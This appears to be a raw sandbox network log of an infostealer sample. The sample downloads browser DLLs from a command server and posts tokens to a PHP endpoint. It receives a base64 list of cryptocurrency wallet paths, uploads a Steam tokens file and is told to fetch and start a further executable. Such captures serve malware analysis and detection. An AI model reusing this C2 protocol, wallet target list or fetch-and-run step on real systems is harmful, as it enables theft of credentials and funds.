Nov 23, 2024 02:55:37.632849932 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Nov 23, 2024 02:55:37.632860899 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Nov 23, 2024 02:55:37.632873058 CET	1236	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Nov 23, 2024 02:55:37.632885933 CET	1236	IN	Data Raw: 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 00 00 89 f0 09 d8 66 0f 6e 34 07 66 0f ef db 66 0f 60 f3 66 0f 61 f3 66 0f 6f f8 66 0f 72 f7 17 66 0f 6f 1d Data Ascii: Mfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`f
Nov 23, 2024 02:55:37.641304016 CET	496	IN	Data Raw: 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 00 88 b0 01 01 00 00 31 c0 83 c4 34 5e 5f 5b 5d c3 0f b6 d2 89 55 ec 89 Data Ascii: 40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1M
Nov 23, 2024 02:55:37.642940998 CET	1236	IN	Data Raw: ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 e5 53 57 56 81 ec 5c 01 00 00 89 8d dc fe ff ff 8b 32 89 95 Data Ascii: EE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31tQI
Nov 23, 2024 02:55:39.223586082 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 02:55:39.668113947 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 23, 2024 02:55:40.533828974 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 02:55:40.978382111 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 23, 2024 02:55:41.647835970 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 02:55:42.092422962 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 23, 2024 02:55:45.138092995 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 02:55:45.583004951 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 23, 2024 02:55:46.305553913 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 02:55:46.750129938 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 23, 2024 02:55:47.289206982 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBG Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 02:55:48.410835981 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 02:55:48.472904921 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="message"wallets------IDGHDGIDAKEBAAKFCGHC--
Nov 23, 2024 02:55:48.786295891 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="message"wallets------IDGHDGIDAKEBAAKFCGHC--
Nov 23, 2024 02:55:48.926377058 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 23, 2024 02:55:48.929285049 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKEBAFIIECBGCAAAAFC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 2d 2d 0d 0a Data Ascii: ------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="message"files------BAKEBAFIIECBGCAAAAFC--
Nov 23, 2024 02:55:49.375488043 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 02:55:49.395333052 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="file"------BAAFBFBAAKECFIEBFIEC--
Nov 23, 2024 02:55:50.334302902 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 02:55:50.361479998 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="message"ybncbhylepme------FHJDGHIJDGCBAAAAAFIJ--
Nov 23, 2024 02:55:50.809082031 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49936	185.215.113.16	80	3704	C:\Users\user\Desktop\file.exe

